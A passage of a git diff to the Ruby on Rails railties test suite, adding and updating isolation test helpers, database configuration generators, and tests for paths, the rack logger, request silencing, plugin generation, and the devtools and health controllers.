+      fork = false if args.first == "t" || args.grep(/\Atest(:|\z)/).any?
+
+      if fork
+        out_read, out_write = IO.pipe
+        if stderr
+          err_read, err_write = IO.pipe
+        else
+          err_write = out_write
+        end
+
+        pid = fork do
+          out_read.close
+          err_read.close if err_read
+
+          $stdin.reopen(File::NULL, "r")
+          $stdout.reopen(out_write)
+          $stderr.reopen(err_write)
+
+          at_exit do
+            case $!
+            when SystemExit
+              exit! $!.status
+            when nil
+              exit! 0
+            else
+              err_write.puts "#{$!.class}: #{$!}"
+              exit! 1
+            end
+          end
+
+          Rails.instance_variable_set :@_env, nil
+
+          $-v = $-w = false
+          Dir.chdir app_path unless Dir.pwd == app_path
+
+          ARGV.replace(args)
+          load "./bin/rails"
+
+          exit! 0
+        end
+
+        out_write.close
+
+        if err_read
+          err_write.close
+
+          $stderr.write err_read.read
+        end
+
+        output = out_read.read
+
+        Process.waitpid pid
+
+      else
+        ENV["BOOTSNAP_CACHE_DIR"] = bootsnap_cache_path
+        begin
+          output = `cd #{app_path}; #{command}`
+        ensure
+          ENV.delete("BOOTSNAP_CACHE_DIR")
+        end
       end
+
+      raise "rails command failed (#{$?.exitstatus}): #{command}\n#{output}" unless allow_failure || $?.success?
+
+      output
     end
 
     def add_to_top_of_config(str)
@@ -250,7 +430,7 @@ def add_to_top_of_config(str)
 
     def add_to_config(str)
       environment = File.read("#{app_path}/config/application.rb")
-      if environment =~ /(\n\s*end\s*end\s*)\Z/
+      if environment =~ /(\n\s*end\s*end\s*)\z/
         File.open("#{app_path}/config/application.rb", "w") do |f|
           f.puts $` + "\n#{str}\n" + $1
         end
@@ -259,7 +439,7 @@ def add_to_config(str)
 
     def add_to_env_config(env, str)
       environment = File.read("#{app_path}/config/environments/#{env}.rb")
-      if environment =~ /(\n\s*end\s*)\Z/
+      if environment =~ /(\n\s*end\s*)\z/
         File.open("#{app_path}/config/environments/#{env}.rb", "w") do |f|
           f.puts $` + "\n#{str}\n" + $1
         end
@@ -276,15 +456,21 @@ def remove_from_env_config(env, str)
 
     def remove_from_file(file, str)
       contents = File.read(file)
-      contents.sub!(/#{str}/, "")
+      contents.gsub!(/#{str}/, "")
       File.write(file, contents)
     end
 
     def app_file(path, contents, mode = "w")
-      FileUtils.mkdir_p File.dirname("#{app_path}/#{path}")
-      File.open("#{app_path}/#{path}", mode) do |f|
+      file_name = "#{app_path}/#{path}"
+      FileUtils.mkdir_p File.dirname(file_name)
+      File.open(file_name, mode) do |f|
         f.puts contents
       end
+      file_name
+    end
+
+    def app_dir(path)
+      FileUtils.mkdir_p("#{app_path}/#{path}")
     end
 
     def remove_file(path)
@@ -295,8 +481,16 @@ def controller(name, contents)
       app_file("app/controllers/#{name}_controller.rb", contents)
     end
 
+    def routes(routes)
+      app_file("config/routes.rb", <<~RUBY)
+        Rails.application.routes.draw do
+          #{routes}
+        end
+      RUBY
+    end
+
     def use_frameworks(arr)
-      to_remove = [:actionmailer, :activerecord] - arr
+      to_remove = [:actionmailer, :activerecord, :activestorage, :activejob, :actionmailbox] - arr
 
       if to_remove.include?(:activerecord)
         remove_from_config "config.active_record.*"
@@ -304,6 +498,104 @@ def use_frameworks(arr)
 
       $:.reject! { |path| path =~ %r'/(#{to_remove.join('|')})/' }
     end
+
+    def use_postgresql(multi_db: false)
+      database_name = "railties_#{Process.pid}"
+      if multi_db
+        File.open("#{app_path}/config/database.yml", "w") do |f|
+          f.puts <<-YAML
+          default: &default
+            adapter: postgresql
+            max_connections: 5
+          development:
+            primary:
+              <<: *default
+              database: #{database_name}_test
+            animals:
+              <<: *default
+              database: #{database_name}_animals_test
+              migrations_paths: db/animals_migrate
+          YAML
+        end
+      else
+        File.open("#{app_path}/config/database.yml", "w") do |f|
+          f.puts <<-YAML
+          default: &default
+            adapter: postgresql
+            max_connections: 5
+          development:
+            <<: *default
+            database: #{database_name}_development
+          test:
+            <<: *default
+            database: #{database_name}_test
+          YAML
+        end
+      end
+      database_name
+    end
+
+    def use_mysql2(multi_db: false)
+      database_name = "railties_#{Process.pid}"
+      if multi_db
+        File.open("#{app_path}/config/database.yml", "w") do |f|
+          f.puts <<-YAML
+          default: &default
+            adapter: mysql2
+            max_connections: 5
+            username: root
+          <% if ENV['MYSQL_CODESPACES'] %>
+            password: 'root'
+          <% end %>
+          <% if ENV['MYSQL_HOST'] %>
+            host: <%= ENV['MYSQL_HOST'] %>
+          <% end %>
+          <% if ENV['MYSQL_SOCK'] %>
+            socket: "<%= ENV['MYSQL_SOCK'] %>"
+          <% end %>
+          development:
+            primary:
+              <<: *default
+              database: #{database_name}_test
+            animals:
+              <<: *default
+              database: #{database_name}_animals_test
+              migrations_paths: db/animals_migrate
+          YAML
+        end
+      else
+        File.open("#{app_path}/config/database.yml", "w") do |f|
+          f.puts <<-YAML
+          default: &default
+            adapter: mysql2
+            max_connections: 5
+            username: root
+          <% if ENV['MYSQL_CODESPACES'] %>
+            password: 'root'
+          <% end %>
+          <% if ENV['MYSQL_HOST'] %>
+            host: <%= ENV['MYSQL_HOST'] %>
+          <% end %>
+          <% if ENV['MYSQL_SOCK'] %>
+            socket: "<%= ENV['MYSQL_SOCK'] %>"
+          <% end %>
+          development:
+            <<: *default
+            database: #{database_name}_development
+          test:
+            <<: *default
+            database: #{database_name}_test
+          YAML
+        end
+      end
+      database_name
+    end
+  end
+
+  module Reload
+    def reload
+      ActiveSupport::Dependencies.clear
+    end
   end
 end
 
@@ -311,21 +603,60 @@ class ActiveSupport::TestCase
   include TestHelpers::Paths
   include TestHelpers::Rack
   include TestHelpers::Generation
+  include TestHelpers::Reload
   include ActiveSupport::Testing::Stream
+  include ActiveSupport::Testing::MethodCallAssertions
 
-  self.test_order = :sorted
+  private
+    def with_env(env)
+      env.each { |k, v| ENV[k.to_s] = v }
+      yield
+    ensure
+      env.each_key { |k| ENV.delete k.to_s }
+    end
 end
 
 # Create a scope and build a fixture rails app
 Module.new do
   extend TestHelpers::Paths
 
+  def self.sh(cmd)
+    output = `#{cmd}`
+    raise "Command #{cmd.inspect} failed. Output:\n#{output}" unless $?.success?
+  end
+
   # Build a rails app
   FileUtils.rm_rf(app_template_path)
-  FileUtils.mkdir(app_template_path)
+  FileUtils.mkdir_p(app_template_path)
 
-  `#{Gem.ruby} #{RAILS_FRAMEWORK_ROOT}/railties/exe/rails new #{app_template_path} --skip-gemfile --skip-listen --no-rc`
+  sh "#{Gem.ruby} #{RAILS_FRAMEWORK_ROOT}/railties/exe/rails new #{app_template_path} --skip-bundle --no-rc --quiet"
   File.open("#{app_template_path}/config/boot.rb", "w") do |f|
-    f.puts "require 'rails/all'"
+    f.puts 'require "bootsnap/setup" if ENV["BOOTSNAP_CACHE_DIR"]'
+    f.puts 'require "rails/all"'
   end
+
+  FileUtils.mkdir_p "#{app_template_path}/app/javascript"
+  File.write("#{app_template_path}/app/javascript/application.js", "\n")
+
+  # Fake 'Bundler.require' -- we run using the repo's Gemfile, not an
+  # app-specific one: we don't want to require every gem that lists.
+  contents = File.read("#{app_template_path}/config/application.rb")
+  contents.sub!(/^Bundler\.require.*/, "%w(propshaft importmap-rails).each { |r| require r }")
+  File.write("#{app_template_path}/config/application.rb", contents)
+
+  require "rails"
+
+  require "active_model"
+  require "active_job"
+  require "active_record"
+  require "action_controller"
+  require "action_mailer"
+  require "action_view"
+  require "active_storage"
+  require "action_cable"
+  require "action_mailbox"
+  require "action_text"
+
+  require "action_view/helpers"
+  require "action_dispatch/routing/route_set"
 end unless defined?(RAILS_ISOLATED_ENGINE)
diff --git a/railties/test/isolation/assets/package.json b/railties/test/isolation/assets/package.json
new file mode 100644
index 0000000000000..77dbdb8b59e1b
--- /dev/null
+++ b/railties/test/isolation/assets/package.json
@@ -0,0 +1,8 @@
+{
+  "name": "dummy",
+  "private": true,
+  "dependencies": {
+    "@rails/actioncable": "file:../../../../actioncable",
+    "@rails/activestorage": "file:../../../../activestorage"
+  }
+}
diff --git a/railties/test/isolation/test_helpers_test.rb b/railties/test/isolation/test_helpers_test.rb
new file mode 100644
index 0000000000000..fd9dea64b6152
--- /dev/null
+++ b/railties/test/isolation/test_helpers_test.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module TestHelpersTests
+  class GenerationTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def test_build_app
+      build_app
+
+      assert File.exist?("#{app_path}/config/database.yml")
+      assert File.exist?("#{app_path}/config/routes.rb")
+      assert File.exist?("#{app_path}/config/initializers")
+    end
+
+    def test_teardown_app
+      build_app
+      teardown_app
+
+      assert_not File.exist?(app_path)
+    end
+
+    def test_add_to_config
+      build_app
+
+      config_file = "#{app_path}/config/application.rb"
+
+      assert_not_empty File.open(config_file, &:read)
+
+      add_to_config <<-RUBY
+        config.zomg = 'zomg'
+      RUBY
+
+      config = File.open(config_file, &:read)
+
+      # preserves indentation
+      assert_match(/       config\.zomg = 'zomg'$/, config, "Expected `#{config_file}` to include `config.zomg = 'zomg'`, but did not:\n #{config}")
+    end
+
+    def test_remove_from_config
+      build_app
+
+      config_file = "#{app_path}/config/application.rb"
+
+      assert_not_empty File.open(config_file, &:read)
+
+      add_to_config <<-RUBY
+        config.zomg = 'zomg'
+      RUBY
+
+      remove_from_config "config.zomg = 'zomg'"
+
+      config = File.open(config_file, &:read)
+
+      assert_no_match(/config\.zomg = 'zomg'$/, config, "Expected `#{config_file}` to include `config.zomg = 'zomg'`, but did not:\n #{config}")
+
+      add_to_config <<-RUBY
+        config.duplicates = :none
+        config.duplicates = :none
+      RUBY
+
+      # removes all occurrences
+      remove_from_config "config.duplicates = :none"
+
+      config = File.open(config_file, &:read)
+
+      assert_no_match(/config\.duplicates = :none$/, config, "Expected `#{config_file}` to include `config.duplicates = :none`, but did not:\n #{config}")
+    end
+  end
+end
diff --git a/railties/test/json_params_parsing_test.rb b/railties/test/json_params_parsing_test.rb
index 7fff3bb46525e..12f778366cfa3 100644
--- a/railties/test/json_params_parsing_test.rb
+++ b/railties/test/json_params_parsing_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_dispatch"
 require "active_record"
@@ -33,7 +35,7 @@ def self.name; "Foo"; end
       assert_nil app.call(make_env("t" => data))
     end
   ensure
-    klass.connection.drop_table("foos")
+    klass.lease_connection.drop_table("foos")
   end
 
   private
diff --git a/railties/test/minitest/rails_plugin_test.rb b/railties/test/minitest/rails_plugin_test.rb
new file mode 100644
index 0000000000000..05097c68ee71e
--- /dev/null
+++ b/railties/test/minitest/rails_plugin_test.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class Minitest::RailsPluginTest < ActiveSupport::TestCase
+  setup do
+    @output = StringIO.new("".encode("UTF-8"))
+  end
+
+  test "replaces backtrace filter with one that silences gem lines" do
+    backtrace = ["lib/my_code.rb", backtrace_gem_line("rails")]
+
+    with_plugin do
+      assert_equal backtrace.take(1), Minitest.backtrace_filter.filter(backtrace)
+    end
+  end
+
+  test "replacement backtrace filter never returns an empty backtrace" do
+    backtrace = [backtrace_gem_line("rails")]
+
+    with_plugin do
+      assert_equal backtrace, Minitest.backtrace_filter.filter(backtrace)
+    end
+  end
+
+  test "replacement backtrace filter silences Minitest lines when all lines are gem lines" do
+    backtrace = [backtrace_gem_line("rails"), backtrace_gem_line("minitest")]
+
+    with_plugin do
+      assert_equal backtrace.take(1), Minitest.backtrace_filter.filter(backtrace)
+    end
+  end
+
+  test "does not replace backtrace filter when using --backtrace option" do
+    backtrace_filter = baseline_backtrace_filter
+
+    with_plugin("--backtrace", initial_backtrace_filter: backtrace_filter) do
+      assert_same backtrace_filter, Minitest.backtrace_filter
+    end
+
+    with_plugin("-b", initial_backtrace_filter: backtrace_filter) do
+      assert_same backtrace_filter, Minitest.backtrace_filter
+    end
+  end
+
+  test "replaces Minitest::SummaryReporter reporter" do
+    with_plugin do
+      assert_empty Minitest.reporter.reporters.select { |reporter| reporter.instance_of? Minitest::SummaryReporter }
+      assert_not_empty Minitest.reporter.reporters.grep(Minitest::SuppressedSummaryReporter)
+    end
+  end
+
+  test "replaces Minitest::ProgressReporter reporter" do
+    with_plugin do
+      assert_empty Minitest.reporter.reporters.grep(Minitest::ProgressReporter)
+      assert_not_empty Minitest.reporter.reporters.grep(::Rails::TestUnitReporter)
+    end
+  end
+
+  test "keeps non-default reporters" do
+    custom_reporter = Minitest::Reporter.new(@output)
+
+    with_plugin(initial_reporters: [custom_reporter]) do
+      assert_includes Minitest.reporter.reporters, custom_reporter
+    end
+  end
+
+  test "does not add reporters when not replacing reporters" do
+    with_plugin(initial_reporters: []) do
+      assert_empty Minitest.reporter.reporters
+    end
+  end
+
+  private
+    def baseline_backtrace_filter
+      Minitest::BacktraceFilter.new
+    end
+
+    def baseline_reporters
+      [Minitest::SummaryReporter.new(@output), Minitest::ProgressReporter.new(@output)]
+    end
+
+    def with_plugin(*args, initial_backtrace_filter: baseline_backtrace_filter, initial_reporters: baseline_reporters)
+      original_backtrace_filter, Minitest.backtrace_filter = Minitest.backtrace_filter, initial_backtrace_filter
+      original_reporter, Minitest.reporter = Minitest.reporter, Minitest::CompositeReporter.new(*initial_reporters)
+
+      options = Minitest.process_args(args)
+      Minitest.plugin_rails_init(options)
+
+      yield
+    ensure
+      Minitest.backtrace_filter = original_backtrace_filter
+      Minitest.reporter = original_reporter
+    end
+
+    def backtrace_gem_line(gem_name)
+      caller.grep(%r"/lib/minitest\.rb:").first.gsub("minitest", gem_name)
+    end
+end
diff --git a/railties/test/path_generation_test.rb b/railties/test/path_generation_test.rb
index c0b03d0c15494..d055198e419d0 100644
--- a/railties/test/path_generation_test.rb
+++ b/railties/test/path_generation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/core_ext/object/with_options"
 require "active_support/core_ext/object/json"
@@ -11,7 +13,7 @@ def initialize(block)
       super()
     end
 
-    class Request < DelegateClass(ActionDispatch::Request)
+    class Request < ActiveSupport::Delegation::DelegateClass(ActionDispatch::Request)
       def initialize(target, url_helpers, block)
         super(target)
         @url_helpers = url_helpers
@@ -56,13 +58,15 @@ def test_original_script_name
     Rails.logger    = Logger.new nil
 
     app = Class.new(Rails::Application) {
+      def self.name; "ScriptNameTestApp"; end
+
       attr_accessor :controller
+
       def initialize
         super
         app = self
         @routes = TestSet.new ->(c) { app.controller = c }
-        secrets.secret_key_base = "foo"
-        secrets.secret_token = "foo"
+        config.secret_key_base = "foo"
       end
       def app; routes; end
     }
diff --git a/railties/test/paths_test.rb b/railties/test/paths_test.rb
index 7b2551062ac5b..266468e69675b 100644
--- a/railties/test/paths_test.rb
+++ b/railties/test/paths_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/paths"
 require "minitest/mock"
@@ -99,10 +101,10 @@ def setup
   end
 
   test "it is possible to add a path that should be autoloaded only once" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root.add "app", with: "/app"
       @root["app"].autoload_once!
-      assert @root["app"].autoload_once?
+      assert_predicate @root["app"], :autoload_once?
       assert_includes @root.autoload_once, @root["app"].expanded.first
     end
   end
@@ -110,32 +112,32 @@ def setup
   test "it is possible to remove a path that should be autoloaded only once" do
     @root["app"] = "/app"
     @root["app"].autoload_once!
-    assert @root["app"].autoload_once?
+    assert_predicate @root["app"], :autoload_once?
 
     @root["app"].skip_autoload_once!
-    assert !@root["app"].autoload_once?
+    assert_not_predicate @root["app"], :autoload_once?
     assert_not_includes @root.autoload_once, @root["app"].expanded.first
   end
 
   test "it is possible to add a path without assignment and specify it should be loaded only once" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root.add "app", with: "/app", autoload_once: true
-      assert @root["app"].autoload_once?
+      assert_predicate @root["app"], :autoload_once?
       assert_includes @root.autoload_once, "/app"
     end
   end
 
   test "it is possible to add multiple paths without assignment and specify it should be loaded only once" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root.add "app", with: ["/app", "/app2"], autoload_once: true
-      assert @root["app"].autoload_once?
+      assert_predicate @root["app"], :autoload_once?
       assert_includes @root.autoload_once, "/app"
       assert_includes @root.autoload_once, "/app2"
     end
   end
 
   test "making a path autoload_once more than once only includes it once in @root.load_once" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root["app"] = "/app"
       @root["app"].autoload_once!
       @root["app"].autoload_once!
@@ -144,7 +146,7 @@ def setup
   end
 
   test "paths added to a load_once path should be added to the autoload_once collection" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root["app"] = "/app"
       @root["app"].autoload_once!
       @root["app"] << "/app2"
@@ -153,10 +155,10 @@ def setup
   end
 
   test "it is possible to mark a path as eager loaded" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root["app"] = "/app"
       @root["app"].eager_load!
-      assert @root["app"].eager_load?
+      assert_predicate @root["app"], :eager_load?
       assert_includes @root.eager_load, @root["app"].to_a.first
     end
   end
@@ -164,42 +166,42 @@ def setup
   test "it is possible to skip a path from eager loading" do
     @root["app"] = "/app"
     @root["app"].eager_load!
-    assert @root["app"].eager_load?
+    assert_predicate @root["app"], :eager_load?
 
     @root["app"].skip_eager_load!
-    assert !@root["app"].eager_load?
+    assert_not_predicate @root["app"], :eager_load?
     assert_not_includes @root.eager_load, @root["app"].to_a.first
   end
 
   test "it is possible to add a path without assignment and mark it as eager" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root.add "app", with: "/app", eager_load: true
-      assert @root["app"].eager_load?
+      assert_predicate @root["app"], :eager_load?
       assert_includes @root.eager_load, "/app"
     end
   end
 
   test "it is possible to add multiple paths without assignment and mark them as eager" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root.add "app", with: ["/app", "/app2"], eager_load: true
-      assert @root["app"].eager_load?
+      assert_predicate @root["app"], :eager_load?
       assert_includes @root.eager_load, "/app"
       assert_includes @root.eager_load, "/app2"
     end
   end
 
   test "it is possible to create a path without assignment and mark it both as eager and load once" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root.add "app", with: "/app", eager_load: true, autoload_once: true
-      assert @root["app"].eager_load?
-      assert @root["app"].autoload_once?
+      assert_predicate @root["app"], :eager_load?
+      assert_predicate @root["app"], :autoload_once?
       assert_includes @root.eager_load, "/app"
       assert_includes @root.autoload_once, "/app"
     end
   end
 
   test "making a path eager more than once only includes it once in @root.eager_paths" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root["app"] = "/app"
       @root["app"].eager_load!
       @root["app"].eager_load!
@@ -208,7 +210,7 @@ def setup
   end
 
   test "paths added to an eager_load path should be added to the eager_load collection" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root["app"] = "/app"
       @root["app"].eager_load!
       @root["app"] << "/app2"
@@ -241,7 +243,7 @@ def setup
   end
 
   test "a path can be added to the load path" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root["app"] = "app"
       @root["app"].load_path!
       @root["app/models"] = "app/models"
@@ -250,15 +252,15 @@ def setup
   end
 
   test "a path can be added to the load path on creation" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root.add "app", with: "/app", load_path: true
-      assert @root["app"].load_path?
+      assert_predicate @root["app"], :load_path?
       assert_equal ["/app"], @root.load_paths
     end
   end
 
   test "a path can be marked as autoload path" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root["app"] = "app"
       @root["app"].autoload!
       @root["app/models"] = "app/models"
@@ -267,10 +269,50 @@ def setup
   end
 
   test "a path can be marked as autoload on creation" do
-    File.stub(:exist?, true) do
+    File.stub(:directory?, true) do
       @root.add "app", with: "/app", autoload: true
-      assert @root["app"].autoload?
+      assert_predicate @root["app"], :autoload?
       assert_equal ["/app"], @root.autoload_paths
     end
   end
+
+  test "load paths does NOT include files" do
+    File.stub(:directory?, false) do
+      @root.add "app/README.md", autoload_once: true, eager_load: true, autoload: true, load_path: true
+      assert_equal [], @root.autoload_once
+      assert_equal [], @root.eager_load
+      assert_equal [], @root.autoload_paths
+      assert_equal [], @root.load_paths
+    end
+  end
+
+  test "load paths does include directories" do
+    File.stub(:directory?, true) do
+      @root.add "app/special", autoload_once: true, eager_load: true, autoload: true, load_path: true
+      assert_equal ["/foo/bar/app/special"], @root.autoload_once
+      assert_equal ["/foo/bar/app/special"], @root.eager_load
+      assert_equal ["/foo/bar/app/special"], @root.autoload_paths
+      assert_equal ["/foo/bar/app/special"], @root.load_paths
+    end
+  end
+end
+
+class PathsIntegrationTest < ActiveSupport::TestCase
+  test "A failed symlink is still a valid file" do
+    Dir.mktmpdir do |dir|
+      Dir.chdir(dir) do
+        FileUtils.mkdir_p("foo")
+        File.symlink("foo/doesnotexist.rb", "foo/bar.rb")
+        assert_equal true, File.symlink?("foo/bar.rb")
+
+        root = Rails::Paths::Root.new("foo")
+        root.add "bar.rb"
+
+        exception = assert_raises(RuntimeError) do
+          root["bar.rb"].existent
+        end
+        assert_match File.expand_path("foo/bar.rb"), exception.message
+      end
+    end
+  end
 end
diff --git a/railties/test/plugin_helpers.rb b/railties/test/plugin_helpers.rb
new file mode 100644
index 0000000000000..e547a4273ea96
--- /dev/null
+++ b/railties/test/plugin_helpers.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module PluginHelpers
+  def generate_plugin(plugin_path, *args)
+    system(*%w[bundle exec rails plugin new], plugin_path, *args, out: File::NULL, exception: true)
+    prepare_plugin(plugin_path)
+  end
+
+  def prepare_plugin(plugin_path)
+    # Fill placeholders in gemspec to prevent Gem::InvalidSpecificationException
+    # from being raised. (Some fields require a valid URL, so use one for all.)
+    gemspec_path = "#{plugin_path}/#{File.basename(plugin_path)}.gemspec"
+    gemspec = File.read(gemspec_path).gsub(/"TODO.*"/, "http://example.com".inspect)
+    File.write(gemspec_path, gemspec)
+
+    # Resolve `rails` gem to this repo so that Bundler doesn't search for a
+    # version of Rails that hasn't been released yet.
+    gemfile_path = "#{plugin_path}/Gemfile"
+    gemfile = <<~RUBY
+      #{File.read(gemfile_path).sub(/gem "rails".*/, "")}
+      gem "rails", path: #{File.expand_path("../..", __dir__).inspect}
+    RUBY
+    File.write(gemfile_path, gemfile)
+
+    # Make sure the plugin's dependencies are installed.
+    in_plugin_context(plugin_path) { system(*%w[bundle install], out: File::NULL, exception: true) }
+  end
+
+  def in_plugin_context(plugin_path, &block)
+    # Run with `Bundler.with_unbundled_env` so that Bundler uses the plugin's
+    # Gemfile instead of this repo's Gemfile.
+    delete_ci_env = -> do
+      ENV.delete("CI") if ENV["BUILDKITE"]
+      block.call
+    end
+    Dir.chdir(plugin_path) { Bundler.with_unbundled_env(&delete_ci_env) }
+  end
+
+  def with_new_plugin(plugin_path, *args, &block)
+    generate_plugin(plugin_path, *args)
+    in_plugin_context(plugin_path, &block)
+  end
+end
diff --git a/railties/test/rack_logger_test.rb b/railties/test/rack_logger_test.rb
index 33b4bc6a3afe8..290a9c91f0d1e 100644
--- a/railties/test/rack_logger_test.rb
+++ b/railties/test/rack_logger_test.rb
@@ -1,25 +1,37 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/testing/autorun"
 require "active_support/test_case"
 require "rails/rack/logger"
 require "logger"
+require "active_support/log_subscriber/test_helper"
 
 module Rails
   module Rack
     class LoggerTest < ActiveSupport::TestCase
+      include ActiveSupport::LogSubscriber::TestHelper
+
       class TestLogger < Rails::Rack::Logger
         NULL = ::Logger.new File::NULL
 
         attr_reader :logger
 
-        def initialize(logger = NULL, taggers = nil, &block)
-          super(->(_) { block.call; [200, {}, []] }, taggers)
+        def initialize(logger = NULL, app: nil, taggers: nil, &block)
+          app ||= ->(_) { block.call; [200, {}, []] }
+          super(app, taggers)
           @logger = logger
         end
 
         def development?; false; end
       end
 
+      class TestApp < Struct.new(:response)
+        def call(_env)
+          response
+        end
+      end
+
       Subscriber = Struct.new(:starts, :finishes) do
         def initialize(starts = [], finishes = [])
           super
@@ -34,20 +46,20 @@ def finish(name, id, payload)
         end
       end
 
-      attr_reader :subscriber, :notifier
+      attr_reader :subscriber
 
       def setup
+        super
         @subscriber = Subscriber.new
-        @notifier = ActiveSupport::Notifications.notifier
-        @subscription = notifier.subscribe "request.action_dispatch", subscriber
+        @subscription = ActiveSupport::Notifications.notifier.subscribe "request.action_dispatch", subscriber
       end
 
       def teardown
-        notifier.unsubscribe @subscription
+        ActiveSupport::Notifications.notifier.unsubscribe @subscription
       end
 
       def test_notification
-        logger = TestLogger.new {}
+        logger = TestLogger.new { }
 
         assert_difference("subscriber.starts.length") do
           assert_difference("subscriber.finishes.length") do
@@ -70,6 +82,69 @@ def test_notification_on_raise
           end
         end
       end
+
+      def test_logger_does_not_mutate_app_return
+        response = [].freeze
+        app = TestApp.new(response)
+        logger = TestLogger.new(app: app)
+        assert_no_changes("response") do
+          assert_nothing_raised do
+            logger.call("REQUEST_METHOD" => "GET")
+          end
+        end
+      end
+
+      def test_logger_is_flushed_after_request_finished
+        logger_middleware = TestLogger.new { }
+
+        flush_count_in_request_event = nil
+        block_sub = @notifier.subscribe "request.action_dispatch" do |_event|
+          flush_count_in_request_event = ActiveSupport::LogSubscriber.logger.flush_count
+        end
+
+        # Assert that we don't get a logger flush when we finish the response headers
+        response_body = nil
+        assert_no_difference("ActiveSupport::LogSubscriber.logger.flush_count") do
+          response_body = logger_middleware.call("REQUEST_METHOD" => "GET").last
+        end
+
+        # Assert that we _do_ get a logger flush when we finish the response body
+        assert_difference("ActiveSupport::LogSubscriber.logger.flush_count") do
+          response_body.close
+        end
+
+        # And that the flush happens _after_ any LogSubscribers etc get run.
+        flush_count = ActiveSupport::LogSubscriber.logger.flush_count
+        assert_equal(1, flush_count - flush_count_in_request_event, "flush_all! should happen after event")
+      ensure
+        @notifier.unsubscribe block_sub
+      end
+
+      def test_logger_pushes_tags
+        @logger = ActiveSupport::TaggedLogging.new(@logger)
+        set_logger(@logger)
+
+        taggers = ["tag1", ->(_req) { "tag2" }]
+        logger_middleware = TestLogger.new(@logger, taggers: taggers) do
+          # We can't really assert on logging something with the tags, because the MockLogger implementation
+          # does not call the formatter (which is responsible for appending the tags)
+          assert_equal(["tag1", "tag2"], @logger.formatter.current_tags)
+        end
+        block_sub = @notifier.subscribe "request.action_dispatch" do |_event|
+          assert_equal(["tag1", "tag2"], @logger.formatter.current_tags)
+        end
+
+        # Call the app - it should log the inside app message
+        response_body = logger_middleware.call("REQUEST_METHOD" => "GET").last
+        # The tags should still be open as long as the request body isn't closed
+        assert_equal(["tag1", "tag2"], @logger.formatter.current_tags)
+        # And now should fire the request.action_dispatch event and call the event handler
+        response_body.close
+        # And it should also clear the tag stack.
+        assert_equal([], @logger.formatter.current_tags)
+      ensure
+        @notifier.unsubscribe block_sub
+      end
     end
   end
 end
diff --git a/railties/test/rack_silence_request_test.rb b/railties/test/rack_silence_request_test.rb
new file mode 100644
index 0000000000000..5ac900beb2b99
--- /dev/null
+++ b/railties/test/rack_silence_request_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "rack/test"
+require "minitest/mock"
+
+class RackSilenceRequestTest < ActiveSupport::TestCase
+  test "silence request only to specific path" do
+    mock_logger = Minitest::Mock.new
+    mock_logger.expect :silence, nil
+
+    app = Rails::Rack::SilenceRequest.new(lambda { |env| [200, env, "app"] }, path: "/up")
+
+    Rails.stub(:logger, mock_logger) do
+      app.call(Rack::MockRequest.env_for("http://example.com/up"))
+      app.call(Rack::MockRequest.env_for("http://example.com/down"))
+    end
+
+    assert mock_logger.verify
+  end
+
+  test "silence request using a Regexp" do
+    mock_logger = Minitest::Mock.new
+    mock_logger.expect :silence, nil
+
+    app = Rails::Rack::SilenceRequest.new(lambda { |env| [200, env, "app"] }, path: /up/)
+
+    Rails.stub(:logger, mock_logger) do
+      app.call(Rack::MockRequest.env_for("http://example.com/up"))
+      app.call(Rack::MockRequest.env_for("http://example.com/down"))
+    end
+
+    assert mock_logger.verify
+  end
+end
diff --git a/railties/test/rails_devtools_controller_test.rb b/railties/test/rails_devtools_controller_test.rb
new file mode 100644
index 0000000000000..43a76c17680c1
--- /dev/null
+++ b/railties/test/rails_devtools_controller_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class DevtoolsControllerTest < ActionController::TestCase
+  tests Rails::DevtoolsController
+
+  def setup
+    Rails.application.routes.draw do
+      get ".well-known/appspecific/com.chrome.devtools.json" => "rails/devtools#show", internal: true
+    end
+    @routes = Rails.application.routes
+  end
+
+  test "devtools controller renders JSON with workspace root and uuid" do
+    get :show
+    assert_response :success
+    assert_match(/application\/json/, @response.content_type)
+
+    json_response = JSON.parse(@response.body)
+    assert json_response.key?("workspace")
+    assert json_response["workspace"].key?("root")
+    assert json_response["workspace"].key?("uuid")
+    assert_equal Rails.root.to_s, json_response["workspace"]["root"]
+  end
+end
diff --git a/railties/test/rails_health_controller_test.rb b/railties/test/rails_health_controller_test.rb
new file mode 100644
index 0000000000000..e1d4313a41913
--- /dev/null
+++ b/railties/test/rails_health_controller_test.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class HealthControllerTest < ActionController::TestCase
+  tests Rails::HealthController
+
+  def setup
+    Rails.application.routes.draw do
+      get "/up" => "rails/health#show", as: :rails_health_check
+    end
+    @routes = Rails.application.routes
+  end
+
+  test "health controller renders green success page in HTML" do
+    get :show, format: :html
+    assert_response :success
+    assert_match(/background-color: green/, @response.body)
+  end
+
